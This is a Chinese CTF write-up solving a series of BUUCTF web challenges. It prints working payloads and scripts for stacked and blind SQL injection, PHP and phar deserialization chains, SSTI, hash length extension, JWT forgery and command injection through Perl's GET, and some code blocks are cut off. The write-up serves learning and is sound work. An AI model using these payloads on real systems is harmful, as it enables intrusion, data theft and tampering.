BUUCTF web writeup

1. WarmUp

f12查看页面源代码得到提示
BUUCTF web writeup_第1张图片
查看source.php中的内容,可以看到是CVE-2018-12613的漏洞利用,核心代码位于BUUCTF web writeup_第2张图片
其中mt_strpos所起到的作用是返回目标字符串首次出现的位置,联系mb_substr所起到的作用是截取目标字符串对应位置的内容,结合起来就是返回传入变量$page匹配到第一个?之前的内容,直接用CVE-2018-12613的poc和hint.php的内容利用文件包含构造?file=hint.php%253f/../../../../../ffffllllaaaagggg
得到flag。
BUUCTF web writeup_第3张图片
学习资料:

http://www.52bug.cn/hkjs/5111.html

2.随便注

今年强网杯的原题,使用的技巧为堆叠注入
payload:-1' or 1=1#
BUUCTF web writeup_第4张图片
得知了sql注入语句内部的闭合方式为单引号,本来是想利用bool类型的盲注读取内容,但是
在这里插入图片描述
我们无法利用selectwhere,也就是说bool类型的盲注无法实现了,而且大部分的注入类型也都无法实现,我也是在强网杯后查看大牛们的wp才得知了堆叠注入这种类型的注入方式,堆叠注入的原理为

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

简单来说我们可以使用;来进行上一句话语句的闭合和下一句话的执行,因此我们可以用SHOW databasesSHOW tables来查看数据库名和表名。
payload:1';SHOW databases;#
BUUCTF web writeup_第5张图片
payload:1';SHOW tables;#
BUUCTF web writeup_第6张图片
接着我们查看words表中的列名
payload:1';SHOW columns from words;#
BUUCTF web writeup_第7张图片
flag貌似不在这个表中,再查看一下1919810931114514表中的内容
payload:1';SHOW columns from `1919810931114514`;#
BUUCTF web writeup_第8张图片
可以看到我们想要查询的flag就在该表中,但是我们通过外部输入执行的查询是在word表中所执行的猜测内部执行的sql查询语句为select * from words where id='',因此我们要实现的目标为先在1919810931114514表中添加新的名为id的列,接着将1919810931114514表名修改为words,最后将words表名修改为tmp(其余不冲突的任意表名均可)。
我们需要的sql语法为alter table `表名` add(字段名 字段类型 NULL)(在对应的表名当中增加新的字段名及其对应的类型),rename table `当前表名` to `改后表名`;(修改旧的表名为新的表名)
最后的payload为1';alter table `1919810931114514` add(id int NULL);#接着执行1';rename table `words` to `tmp`;rename table `1919810931114514` to `words`
BUUCTF web writeup_第9张图片

3.easy_tornado

在这里插入图片描述
看到这个样子难免会想到hash函数拓展攻击,但很明显利用的方式不同,因此我们只能另外想办法尝试去找到cookie_secret,tornado也是python的web框架,我们就可以联想到经常遇到的flask的模板注入漏洞,首先我们要找到哪里会提供报错信息随便输入文件名及其对应的hash值便会弹出错误界面
BUUCTF web writeup_第10张图片
我们传入的msg参数会在页面当中显示,符合ssti可能出现的条件,测试一下?msg={{123}}
BUUCTF web writeup_第11张图片
此时我们可以通过传入handler.settings查看环境变量获取cookie_secret的值
BUUCTF web writeup_第12张图片
得到cookie_secret的值为M)Z.>}{O]lYIp(oW7$dc132uDaK
结合提示给出的flag存在于根目录下的fllllllllllllag
BUUCTF web writeup_第13张图片
我们将其拼接为M)Z.>}{O]lYIp(oW7$dc132uDaK再md5加密得到的结果为70aed71508e50d160a73756a21e9953d得到flag
BUUCTF web writeup_第14张图片

4. 高明的黑客

也是一道强网杯的原题,下载源码后可以看到很多被混淆的php文件,内置了很多貌似可以任意命令执行的地方,比如这处
在这里插入图片描述
我们都知道preg_replace函数在正则匹配参数为/e时如果完成匹配的话会执行第二个参数的命令,但可以看到我们以get方式传入的变量在实现命令执行前就被置空了,因此问题的关键就变成了找到一个有效的可以实现任意命令执行的变量

import requests
import re
import os
s = requests.session()
files = os.listdir('./src')
for i in files:
    url = 'http://web15.buuoj.cn/'+str(i)+''
    filename = './src/'+str(i)
    f = open(filename)
    content = f.read()
    f.close()
    print(content)
    muma = re.findall('_GET\[\'(.*?)\'\]',content)
    for j in muma:
        payload = url+'?'+str(j)+'=echo \'success\''
        print(payload)
        c=s.get(payload)
        if 'success' in c.text:
            print(payload)
            exit()

得到flag
BUUCTF web writeup_第15张图片

5. [CISCN2019 华北赛区 Day2 Web1]Hack World

BUUCTF web writeup_第16张图片
题目直接告诉了我们flag存在的表名和列名,fuzz后发现各种形式的orand以及union,单双引号,闭合符号,空格均被过滤了,这就表示着一般情况的sql注入均无法实现。在输入框中测试1=1,发现返回的结果为输入1的返回相同,此时我们在输入框内利用sql当中的if语句构造IF(expr1,expr2,expr3),即若expr为true则返回expr2否则返回expr3

import requests
s=requests.session()
url='http://web43.buuoj.cn/index.php'
ans = ''
for i in range(1,40):
    for j in range(37,127):
        key = "if(ascii(substr((select(flag)from(flag)),"+str(i)+",1))="+str(j)+",2,1)"
        payload = {'id':key}
        c = s.post(url,data = payload)
        if 'my' in c.text:
            ans = ans + chr(j)
            print(ans)

得到flag
在这里插入图片描述

6. piapiapia

首先是对着输入框一通操作发现没有什么卵用,接着www.zip下载网站源码
BUUCTF web writeup_第17张图片
接下来就是代码审计的工作了,先看一下index.php有什么值得注意的内容。
BUUCTF web writeup_第18张图片
我们登陆时的用户名和密码长度均受到了限制,初次之外没有什么需要我们注意的地方了,接着查看一下class.php的内容
在定义mysql类中是存在有这样一个函数
BUUCTF web writeup_第19张图片
会将我们的select,insert,update,deletewhere替换为hacker,且此时的preg_replace不存在/e的情况,不存在漏洞。最后我们在update.php当中找到了文件上传点
在这里插入图片描述
似乎好像还没有什么过滤的地方,并且给出了上传后的绝对路径
BUUCTF web writeup_第20张图片
注册一个账号测试下上传一句话木马并且访问改绝对路径,发现会直接对文件进行下载,也就是说我们文件上传的点无法得到利用了。
最后我们在profile.php当中找到了存在有的反序列化的点,我们来研究一下是否能利用起来
BUUCTF web writeup_第21张图片
我们可以看到反序列化的对象是定义在class.php当中的show_profile($username),也就是此处的
BUUCTF web writeup_第22张图片
该函数与下方定义的select函数配合将会返回该用户名下的全部信息的一个对象
BUUCTF web writeup_第23张图片
再注意下这个update_profile方法,该方法配合update方法会更新profile中的内容。
BUUCTF web writeup_第24张图片
所更新的内容如上图所示,分别是phone,email,nicknamephoto,我们可以看到nickname这个参数的判断是存在问题的
BUUCTF web writeup_第25张图片
对于这两个条件我们都可以选择使用数组绕过
BUUCTF web writeup_第26张图片
这是config.php当中的内容,可以看到我们想要读到的flag就存在于该php当中,但如何才能将其读出来呢
BUUCTF web writeup_第27张图片
profile.php当中会对$photo对象进行反序列化操作,关键就在于这个危险的file_get_contents,我们要想办法使得$profile[photo]变成config.php就可以成功读取出config.php的内容,接下来就是这道题目的核心问题了:反序列化逃逸字符
我们都知道序列化的字符串都带有长度比如s:5:"abcde",但如果序列化的字符串为s:5:"abcdef"的话,我们对其进行反序列化输出的结果就为abcde也就是说我们的字符f从反序列化的过程中逃逸了出去,我们来看一下这道题目当中的关键代码
在这里插入图片描述
也就是说如果我们的输入存在有where的话该方法将会把where替换为hacker,这两个单词一个是五个字符,一个是六个字符,这也为我们的字符逃逸埋下了伏笔。但字符逃逸要求字符串的序列化数量和实际数量不一致,这道题目是否符合要求呢
BUUCTF web writeup_第28张图片
我们可以看到update_profile传入的变量已经是一个序列化完毕的字符串,因此字符逃逸的条件也就成立了,最后的payload为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
其中where的个数与插入的;}s:5:"photo";s:10:"config.php长度相同,也就是说每一个where被替换为hacker的过程都会为一个字符创造一个逃逸的空间
正常情况下序列化的字符串应当是a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:14:"[email protected]";s:8:"nickname";s:5:"abcde";s:5:"photo";s:15:"upload/xxxxxxxx";}
但如果我们的nickname传入刚才的payload的话序列化字符串就会变为a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:14:"[email protected]";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}我们的nickname为186位,也就是所有的hacker加起来的长度,也正因为这个我们的s:5:"photo";s:10:"config.php";才得以成功逃逸由于反序列化已经结束,我们后缀多出的内容也就不起任何作用了。
在这里插入图片描述
base64解密后即可得到flag

7.[De1CTF 2019]SSRF Me

这道题目的难点就是最后利用到了CVE-2019-9948的内容,先简单的介绍一下
在这里插入图片描述
也就是说在python2.7,3.7和3.8中本来用于对目标url访问并读取的函数urlopen可以实现对本地文件的读取,这也就满足了对于gopherfile协议的绕过
BUUCTF web writeup_第29张图片
绕过了这个最重要的点后其实题目的思路就十分清晰了,首先是签名的问题
在这里插入图片描述
我们的签名值是由secret_key,paramaction三个部分构成的,其中后两个部分是我们可控的,但是secret_key的值我们未知。很容易可以联想到hash函数拓展攻击。
结合上半部分的代码,我们总体的思路是这样子的,先使用scan函数把目标文件读取到result.txt中,接着使用read函数将result.txt中的内容读取出来
首先我们利用geneSign函数获取一串由密钥生成的hash值
在这里插入图片描述
此处我们的paramlocal_file:///flag.txtaction则为默认的scan
BUUCTF web writeup_第30张图片
得到了对应的hash值,接着我们使用hashpump构造带有read的hash值
BUUCTF web writeup_第31张图片
接下来就是分别写入和读取flag.txt中的内容了
zZG4ubmV0L3N0ZXBvbmU0d2FyZA==,size_16,color_FFFFFF,t_70)
BUUCTF web writeup_第32张图片

8.admin

这道题目在注册登陆过后的change页面中给出了源码提示,我们在config.py当中可以看到
在这里插入图片描述
也就是说我们已经得到了用于生成cookie的SECRET_KEY,而且这道题目明显的是想让我们伪造admin登陆,我们在index.html也可以看出
在这里插入图片描述
我们尝试使用脚本对cookie进行伪造,先对现有的cookie进行解密
BUUCTF web writeup_第33张图片
修改user_idname分别为1admin
BUUCTF web writeup_第34张图片
将cookie值替换后得到flag
BUUCTF web writeup_第35张图片
但对于这道题目还有两种不同的解法(从飘零表哥博客里看到的),分别是Unicode欺骗和条件竞争
Unicode欺骗
问题就出现在这个注册,登陆和修改密码当中都出现的strlower函数当中
在这里插入图片描述
strlower函数的构成如下

def strlower(username):
    username = nodeprep.prepare(username)
    return username

而其中的nodeprep.prepare方法会实现大写转换为小写的作用,但问题也出现在这里
对于ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ,该方法会将其转换为ABCDEFGHIJKLMNOPQRSTUVWXYZ,因此我们可以注册一个名为ᴀdmin的账户,被strlower处理过后便成为了Admin,即我们成功注册了名为Admin的用户,接着我们登陆时使用ᴀdmin进行登陆,被strlower处理过后便成为了Admin身份的登陆,再次去进行密码修改时我们的用户名再一次被strlower处理就变成了admin,即我们最后修改的密码为admin的密码,最后可以完成身份伪造

9. [CISCN2019 总决赛 Day2 Web1]Easyweb

这道题目是国赛第二天两道web中的一个,当时我们的队伍恰巧不用做这道题,在这里也是重新复现一下,由源码可知该网页对于身份的判定是基于加密过后的cookie值,我们在本地利用他提供的加密算法和config.php当中的密钥计算出admin的cookie值,即可实现admin身份的登陆


以admin身份访问user.php可以看到是一个上传界面,上传的waf为文件名当中不得出现不区分大小写的php,尝试制作图片马后上传,发现返回了一个*.log.php,访问得到的是包含有我们文件名的日志记录,也就是说我们能够上传并实现写入的就只有文件名而已了,因此我们考虑使用bp抓包修改文件名为一句话木马的方式。
这个时候问题又出现了,我们平时使用的一句话木马是需要作为标签的,这个时候需要介绍一个短标签的概念,php.ini文件中设置short_open_tag为on即可以实现用代替,去查看题目的php.ini文件
BUUCTF web writeup_第36张图片
因此我们只需要上传一个任意文件并且抓包将其name修改为,即可以在*.log.php中实现任意命令执行。

10.[CISCN2019 华北赛区 Day1 Web2]ikun

首先在查看页面cookie时发现jwt,使用jwt.io对该jwt进行解密发现加密方式为HS256,该加密方式加解密使用的密钥相同也就导致了其安全性能较弱。我们使用jwtcrack工具对其进行爆破
在这里插入图片描述
我们再使用jwt.io进行jwt伪造
BUUCTF web writeup_第37张图片
抓包修改jwt后得到提示
BUUCTF web writeup_第38张图片
写个脚本进行unicode解码
BUUCTF web writeup_第39张图片
那么lv6在哪里呢…这里确实是没有想到,因为lv后面的数字都是以图片形式显示的,因此很快就否决掉了if 'lv6' in c.text这种猜想,但实际上采用的方式是if 'lv6.png' in c.text(图片名称)来对lv6的商品进行寻找,就直接贴一下大佬的脚本

import requests

url = "http://f5d9b03a-0e3b-44ff-b71f-d08bb7212a36.node1.buuoj.cn/"

for i in range(1, 2000):
    r = requests.get(url + "shop?page=" + str(i))

    if r.text.find("lv6.png") != -1:
        print(i)
        break

找到之后是无法直接进行购买的,需要我们购买一定量的产品后获得优惠券然后修改优惠折扣后完成购买然后在页面源码中获得提示下载网站源码
BUUCTF web writeup_第40张图片
这里有一个python反序列化的点,构造的关键为__reduce__魔术方法,当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,网络上漏洞利用的脚本也很多
BUUCTF web writeup_第41张图片
我们对其进行修改,关键是要将结果进行url编码
在这里插入图片描述
传入后得到flag

11.[CISCN2019 华北赛区 Day1 Web1]Dropbox

在这里插入图片描述
可以直接注册名为admin的用户,可以看到是一个文件上传的题目
在这里插入图片描述
可以上传后缀为jpg,png和gif的图片,但我们无法获得图片的绝对路径和调用,因此常规的文件上传方式无法使用,我们查看http历史记录,发现调用了upload.php
在这里插入图片描述
查看upload.php的内容
BUUCTF web writeup_第42张图片
考虑修改文件名是否能下载到上层目录的网站源码,分别测试../index.php../../index.php后下载到index.php的内容,再对剩下的网站文件进行下载后代码审计
在这里插入图片描述
login.php中我们获得了文件上传后的绝对路径,但尝试上传图片马后无果
查看wp后了解到这是一种利用phar反序列化的特殊文件上传方式

https://paper.seebug.org/680/

先了解一下基本的phar文件的格式和作用,简单的来说我们利用phar实现文件上传的核心攻击点是来自phar文件的第二个构成部分,这个部分以序列化的形式存储用户自定义的meta-data,而我们在通过phar://伪协议对phar文件进行解析时会将meta-data部分进行反序列化,影响的函数主要有
BUUCTF web writeup_第43张图片
也就是说我们要在该网站定义的类中找到调用上述方法的的类并读取根目录下的的flag.txt
首先我们在delete.php当中可以看到
BUUCTF web writeup_第44张图片
我们对传入的变量filename也就是上传过后的文件分别进行了opendelete操作,这两个函数都来自File类
BUUCTF web writeup_第45张图片
BUUCTF web writeup_第46张图片
均包含有phar反序列化的受影响函数,也就是说我们在该页面传入的phar文件的meta-data部分都会被反序列化
在这里插入图片描述
我们在File类当中还找到了一个有可能会被我们利用的函数close,如果此时的filename为./flag.txt的话会对对应的内容进行读取。
我们在user类当中找到了调用close的魔术方法。
BUUCTF web writeup_第47张图片
但仅仅读取是不够的我们还要想办法将读取的内容进行输出,我们继续在类当中寻找类似echovar_dumpprint_r的函数
BUUCTF web writeup_第48张图片
我们在Filelist类中定义的析构函数中看到最后会将filelist的中的三个参数拼接后输出
BUUCTF web writeup_第49张图片
我们又看到了Filelist类中的魔术方法会在调用类中不存在的方法时对每一个file调用一次该方法
整理一下思路
首先我们定义一个User类的对象,该对象的db属性为一个新的Filelist类,也就是$this->db=new FileList;
接着定义Filelist类的的构造函数,三个参数分别为

public function __construct(){
    	$file=new File;
    	$file->filename='/flag.txt';
    	$this->files = array($file);
        $this->results = array();
        $this->funcs = array();
}

关键就在于User类的的析构函数会去调用参数db的close方法,但此时参数db为Filelist类的对象而Filelist是没有对应的close方法,我们就会去尝试调用魔术方法__call,此时的file为/flag.txt,这样的一个File类的对象,func为close,也就是说我们完成了对/flag.txt的读取并存储在results中在这里插入图片描述
results也是我们析构函数输出的内容之一
我们也就完成了user类的对象调用Filelist类的对象的close方法>Filelist类的对象因为类中不存在close方法调用__call魔术方法>魔术方法完成对目标文件的读取和存储>利用Filelist类的析构函数完成输出的利用链。生成phar文件的脚本

db=new FileList;
	}
}
class FileList{
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
    	$file=new File;
    	$file->filename='/flag.txt';
    	$this->files = array($file);
        $this->results = array();
        $this->funcs = array();

}

}
class File{
	public $filename;
}
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new User();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

之后将生成的phar.phar的后缀修改为phar.gif完成上传后删除文件将文件名修改为phar://phar.gif/test.txt即可完成对flag文件的读取

12.Fakebook

首先是访问robots.txt得到提示,访问user.php.bak下载到对应页面的源码,我们可以看到类中存在了函数get,会使用curl去访问我们在注册页面留下的博客网址
在这里插入图片描述
看到这里大概可以确定这道题目是一道ssrf的题目了,但如果可以任意确定存储的网址的话ssrf的实现未免太简单了,于是我们看到了这样的一个正则表达式来限制我们传入的网址
BUUCTF web writeup_第50张图片
首先是(((http(s?))\:\/\/)?)?代表会匹配零次或一次也就是说我们传入网址的协议部分被限制为http://https://或者为空
接着是([0-9a-zA-Z\-]+\.)++代表匹配前面的子式一次或多次,也就是说我们的host部分前端的形式类似于xxxx.xxx.xxxxx.其中x可以是任意的大小写字母,数字和破折号。限制最大的地方为[a-zA-Z]{2,6}也就是说我们host部分的最后需要是二到六位的英文字符串,也就是说我们的host无法是平常的127.0.0.1而是127.0.0.aaa的形式,最后匹配的端口号和文件名都是可缺省的。
BUUCTF web writeup_第51张图片
查找到了资料,如果我们注册使用的网址为http://127.0.0.1.xip.io/index.php的话我们既符合了正则表达式的匹配,又可以利用子域名的解析完成对127.0.0.1的访问
BUUCTF web writeup_第52张图片
很可惜失败了,一筹莫展之时发现了http://533e3c07-6940-4ad6-8fff-68635396d528.node1.buuoj.cn/view.php页面的no参数存在sql注入漏洞,过滤了空格,我们使用/**/进行绕过
payload:
view.php?no=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()limit/**/0,1),3,4#
读取出表名
users
payload:
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/0,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/1,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/2,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/3,1),3,4#
读取出列名
no,username,passwd,data
我们要读取出的核心内容位于data当中
BUUCTF web writeup_第53张图片
我们可以看到第四列data当中存在有序列化的数据猜测我们的网址就是由上述内容反序列化得到,在这里我们传入的内容就不会收到正则表达式的限制了,因此我们直接使用file协议file:///var/www/html/flag.php读取对应内容。
BUUCTF web writeup_第54张图片
base64解码即可

13.[ASIS 2019]Unicorn shop

unicode编码问题,将price修改为即可

14.SSRFme

BUUCTF web writeup_第55张图片
题目直接给出了源码,首先要了解escapeshellarg函数的作用

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

也就是说

var_dump(escapeshellarg(arg: "12' 3"));

输出结果为‘’

'12'\'' 3'

pathinfo() 返回一个关联数组包含有 path 的信息

GET命令执行传入的url参数,GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求

这也是我们传入的url参数为/后访问沙盒会读取出根目录的内容的原因,我们可以看到根目录中存在的flaggetflag,毫无疑问我们需要调用getflag完成对flag的读取。
此时需要我们我们补充的知识

http://momomoxiaoxi.com/2017/11/08/HITCON/

perl的feature,在open下可以执行命令,也就是说

perl在open当中可以执行命令,如:open(FD, “ls|”)或open(FD, “|ls”)都可以执行ls命令
而GET是在perl下执行的,当GET使用file协议的时候就会调用到perl的open函数

总结一下就是我们在GET命令当中使用file协议可以实现任意命令,但前提是file协议后的文件需要存在才可以执行

#创建文件
http://52be8b07-a719-4f7e-9027-12cd77ed4e1b.node1.buuoj.cn/index.php?url=&filename=bash%20-c%20/readflag|
#执行命令输出到flag
http://52be8b07-a719-4f7e-9027-12cd77ed4e1b.node1.buuoj.cn/index.php?url=file:bash%20-c%20/readflag|&filename=gappp
#访问
http://52be8b07-a719-4f7e-9027-12cd77ed4e1b.node1.buuoj.cn/sandbox/sandbox/gappp

15.shrine

进入题目后即可获得题目的源码,是一个典型的ssti题目的框架,注入的点存在于/shrine/后的参数当中,我们测试/shrine/{{1+1}}得到回显
在这里插入图片描述
确定注入点的存在,但需要注意的是存在有一个safe_jinjia函数对我们输入的参数进行了过滤,函数的内容为

def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

首先是利用了字符串替换函数将()替换为空,接着是黑名单限制字符串中不得出现config和self。
首先是进行我们常规的思路
利用''.__class__.__base__.__base__获取基类object
在这里插入图片描述
接着是查看object类的子类列表''.__class__.base__.__base__.__subclasses__(),由于()被置空的原因我们无法完成对子类的查看
在这里插入图片描述
无法查看子类的同时也就说明我们无法使用子类当中所具有的函数,因此常规的ssti思路失效
google了好久如何完成对括号的绕过无果后查看了wp
使用的payload为{{app.__init__.__globals__.sys.modules.app.app.__dict__}},对应的解释为使用__init__列出所有的原始属性
学习资料

https://www.jianshu.com/p/1237c78a691c

题目的另外解法为{{url_for.__globals__['current_app'].config}},函数url_for引用的内容当中包含有current_app这样的全局变量,因此可以完成对FLAG的读取,同理get_flashed_messages函数也有相同的作用

16.[ByteCTF 2019]EZCMS

首先是www.zip下载源码,我们可以在config.php当中看到对用户身份的校验
BUUCTF web writeup_第56张图片
是一个非常典型的哈希函数拓展攻击,但我们不知道密钥的长度有点麻烦,我们利用只有admin才可以完成文件上传,非admin用户会报错的差异,写个脚本完成对用户密码的获取

import requests
import hashpumpy
import urllib
url1 = "http://585a527f-85a9-4f34-afa9-390830627793.node1.buuoj.cn/index.php"
for i in range(5,30):
    s = requests.session()
    m = hashpumpy.hashpump('52107b08c0f3342d2153ae1d68e6262c','admin','gap',i)
    message = urllib.quote(urllib.unquote(m[1]))
    files1 = {'username':(None,'admin'),
            'password':(None,message),
            'login':(None,'e68f90e4baa4'.decode('hex'))
            }
    c = s.post(url1,files = files1)
    url2 = "http://585a527f-85a9-4f34-afa9-390830627793.node1.buuoj.cn/upload.php"
    files2 = {'file':('test.txt','123','application/octet-stream'),
    'upload':(None,'e68f90e4baa4'.decode('hex'))
    }
    cookies = {'user':m[0]}
    response = s.post(url2,files=files2,cookies=cookies)
    print i
    print message
    if 'u r not admin' not in response.text:
        print response.text

我们在长度为13时完成了响应的输出
BUUCTF web writeup_第57张图片
也就是说此时对应的username为admin,password为admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00gap
此时在上传页面验证的cookie值为user=c99e49aad747eee4b6a4915f2cb2aa17
测试一下能否完成文件上传
BUUCTF web writeup_第58张图片
没有报错,再看一下上传的页面
BUUCTF web writeup_第59张图片
已经有我们随意上传的文件了
接下来研究一下文件上传的机制,首先是对文件内容的校验,禁用了一系列的命令执行函数和拼接,就是'sys'+'tem'也会被过滤
BUUCTF web writeup_第60张图片
接着是我们的文件路径当中不能存在一系列压缩相关的后缀和指令
BUUCTF web writeup_第61张图片
这个是这道题目中比较麻烦的一点,由于.htaccess文件的原因我们不管上传什么类型的文件服务器都会报错
在这里插入图片描述
是否存在有覆盖.htaccess文件的可能呢,我们再看一下上传后的文件名生成机制
BUUCTF web writeup_第62张图片
我们的filename的md5值被作为了文件的名称,也就是.前面的内容是不可能为空的,我们无法直接上传名为.htaccess的文件,当时做这道题目也就僵在这里了,赛后看到题解的时候还是感叹自己的知识面远远不够。这道题目的正确解法是利用phar的反序列化,首先要找到反序列化文件的点,我们在view.php中看到了我们传入的参数被作为类File的对象属性
BUUCTF web writeup_第63张图片
接下来看一下File类的内容,该类中的函数view_detail调用了mime_content_type,而该函数是存在有反序列化漏洞的,也就是说我们传入的filepath如果是一个phar文件则有可能实现反序列化
BUUCTF web writeup_第64张图片
找到了反序列化的点之后就是反序列化中类的构造了,我们注意到了Profile类当中存在有魔术方法__call
BUUCTF web writeup_第65张图片
但此时内部所定义的open函数是一个人畜无害的函数,这里就要介绍到解决这道题目的关键了:内置类ZipArchive,该函数如果设置为overwrite模式则会实现对目标的覆盖
在这里插入图片描述
接下来就是如何实现__call魔术方法的调用了
在这里插入图片描述
我们看到File类的析构函数实现了类中属性checker对函数upload_file的调用,那么如果这个checker是Profile类的对象的话,Profile类中没有对应的upload_file方法也就会去调用对应的__call方法,整个攻击链就构造完成了

定义File类中的checker属性为Profile类的对象 > 析构时调用upload方法 > 调用Profile类的__call魔术方法 > 此时的admin为ZipArchive类的对象 > 完成覆盖

编写payload

filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct()
    {
        $this->username =  "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
        $this->password = ZipArchive::OVERWRITE;
        $this->admin = new ZipArchive();
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new File('GAPPP','GAPPP');
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar文件后我们要做的是上传一个webshell,虽然文件内容当中禁用了命令执行函数和+,但此时我们还可以利用.进行字符串的拼接


上传生成的phar文件后立即访问view.php,对应的参数为filename=上传后的phar文件名&filepath=php://filter/resource=phar://上传后的phar路径,使用php://filter的原因是为了绕过$this->filepath中的内容限制,完成对view.php的访问后直接访问刚才上传的webshell的地址(如果在两个步骤之间访问upload.php则会重新生成.htaccess文件)
BUUCTF web writeup_第66张图片

17.[CISCN2019 总决赛 Day1 Web4]Laravel1

这题比赛的时候研究了很久,也没有找到完整的利用链,在这里跟着师傅们的wp进行一下复现
BUUCTF web writeup_第67张图片

source.tar.gz下载网站源码
网页很直白的告诉了我们考察点是反序列化,我们就需要去找到反序列化时会调用的魔术方法__destruct,我们找到的目标为
在这里插入图片描述
跟进查看魔术方法的内容
BUUCTF web writeup_第68张图片
析构时调用的函数为commit()commit()函数内又调用了该类的函数invalidateTages,查看对应函数的内容
BUUCTF web writeup_第69张图片
漏洞存在的地方位于
BUUCTF web writeup_第70张图片
这里类中的属性pool调用了saveDeferred方法
在这里插入图片描述
该属性来自于Adapterinterface接口的类的对象,接下来我们要做的就是找到一个同样调用Adapterinterface接口的类,并且该类当中存在有名为saveDeferred的方法,我们找到的类是同样调用AdapterInterface接口的PhpArrayAdapter
在这里插入图片描述
去看一下该类对应的saveDeferred方法
BUUCTF web writeup_第71张图片
该类的saveDeferred方法又调用了initialize方法,该方法是来自父类PhpArrayTrait,查看initialize方法的内容
BUUCTF web writeup_第72张图片
存在有文件包含的内容$values = (include $this->file) ?: [[], []];
可以开始构造利用链了,首先可以肯定的是我们反序列化的对象是TagAwareAdapter类的对象,还需要调用类中的saveDeferred方法,我么可以看到想要调用对应的方法必须要存在有名为deferred的属性才可以顺利调用
BUUCTF web writeup_第73张图片
其中deferred数组的入口参数是cacheiteminterface的对象
在这里插入图片描述
也就是实现了该接口的对象
在这里插入图片描述
我们在引入的类中看到了名为CacheItem的类,因此我们构造的TagAwareAdapter类为

class TagAwareAdapter{
	private $deferrde = [];
	private $pool;
	public function __construct(){
		$this->deferred = array('gappp' => new CacheItem());
		$this->pool = new PhpArrayAdapter(); //我们想要调用PhpArrayAdapter类对应的saveDeferred方法
	}
}

我们通过该类调用了PhpArrayAdapter类对应的saveDeferred方法,该方法又调用了父类PhpArrayTraitinitialize方法,并利用该方法对参数file实现文件包含,因此我们构造的PhpArrayAdapter类的内容为

class PhpArrayAdapter{
    private $file;
    public function __construct(){
        $this->file = '/flag';
    }
}

接下来就是结合命名空间完成构造

file = '/flag';
        }
    }
    class TagAwareAdapter{
        private $deferred = [];
        private $pool;
        public function __construct()
        {
            $this->deferred = array('gappp' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

BUUCTF web writeup_第74张图片

18.bestphp’s revenge

进入题目后直接获得了源码
BUUCTF web writeup_第75张图片
显而易见的是我们可以利用第一个call_user_func方法对变量b进行变量覆盖
BUUCTF web writeup_第76张图片
也就是说我们可以控制第二个call_user_func所调用的函数,但是对应函数的参数被限制为数组,也就是说我们不可能直接将b复改为system完成getshell了。
BUUCTF web writeup_第77张图片
此时我们查看flag.php,需要我们完成伪造本地登陆来实现获得flag,那此时需要我们的思路从rce变成了利用一个参数为数组的的任意函数实现SSRF并输出session中的flag
